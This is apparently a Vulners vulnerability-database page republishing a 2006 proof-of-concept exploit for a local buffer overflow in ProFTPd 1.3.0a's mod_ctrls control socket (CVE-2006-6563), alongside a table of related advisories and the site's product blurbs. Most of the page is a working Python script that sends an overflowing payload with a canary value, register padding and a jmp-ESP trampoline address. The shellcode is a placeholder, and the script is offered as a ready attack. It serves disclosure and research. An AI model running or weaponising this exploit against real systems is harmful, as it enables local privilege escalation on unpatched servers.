ProFTPd 1.3.0a - 'mod_ctrls' 'support' Local Buffer Overflow (PoC)
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| ProFTPD < 1.3.0rc2 Multiple Format Strings | 26 Jul 200500:00 | – | nessus | |
| GLSA-200702-02 : ProFTPD: Local privilege escalation | 15 Feb 200700:00 | – | nessus | |
| Mandrake Linux Security Advisory : proftpd (MDKSA-2006:232) | 18 Feb 200700:00 | – | nessus | |
| ProFTPD < 1.3.1rc1 mod_ctrls Module pr_ctrls_recv_request Function Local Overflow | 18 Nov 201100:00 | – | nessus | |
| CVE-2006-6563 | 15 Dec 200611:00 | – | cve | |
| CVE-2006-6563 | 15 Dec 200611:00 | – | cvelist | |
| CVE-2006-6563 | 15 Dec 200611:00 | – | debiancve | |
| ProFTPd 1.3.0/1.3.0a - 'mod_ctrls' 'support' Local Buffer Overflow (1) | 18 Feb 200700:00 | – | exploitdb | |
| ProFTPd 1.3.0/1.3.0a - 'mod_ctrls' 'support' Local Buffer Overflow (2) | 19 Feb 200700:00 | – | exploitdb | |
| ProFTPd - 'ftpdctl' 'pr_ctrls_connect' Local Overflow | 13 Aug 200400:00 | – | exploitdb |
10
# Core Security Technologies - Corelabs Advisory
# ProFTPD Controls buffer overflow
import socket
import os, os.path,stat
#This works with default proftpd 1.3.0a compiled with gcc 4.1.2 (ubuntu edgy)
#
ctrlSocket = "/tmp/ctrls.sock"
mySocket = "/tmp/notused.sock"
canary = "\0\0\x0a\xff"
trampoline = "\x77\xe7\xff\xff" # jmp ESP on vdso
shellcode = "\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc" # inocuous "int 3"
#Build Payload. The format on the stack is:
#
#AAAA = EBX BBBB = ESI CCCC = EDI DDDD = EBP EEEE = EIP
payload = ("A"*512) + canary + "AAAABBBBCCCCDDDD" + trampoline + shellcode
#Setup socket
#
if os.path.exists(mySocket):
os.remove(mySocket)
s = socket.socket(socket.AF_UNIX,socket.SOCK_STREAM)
s.bind(mySocket)
os.chmod(mySocket,stat.S_IRWXU)
s.connect(ctrlSocket)
#Send payload
#
s.send("\1\0\0\0")
s.send("\1\0\0\0")
l = len(payload)
s.send(chr(l & 255)+chr((l/255) & 255)+"\0\0")
s.send(payload)
#Finished
#
s.close()
# milw0rm.com [2006-12-13]Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
29 Aug 2017 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 26.6
EPSS0.02315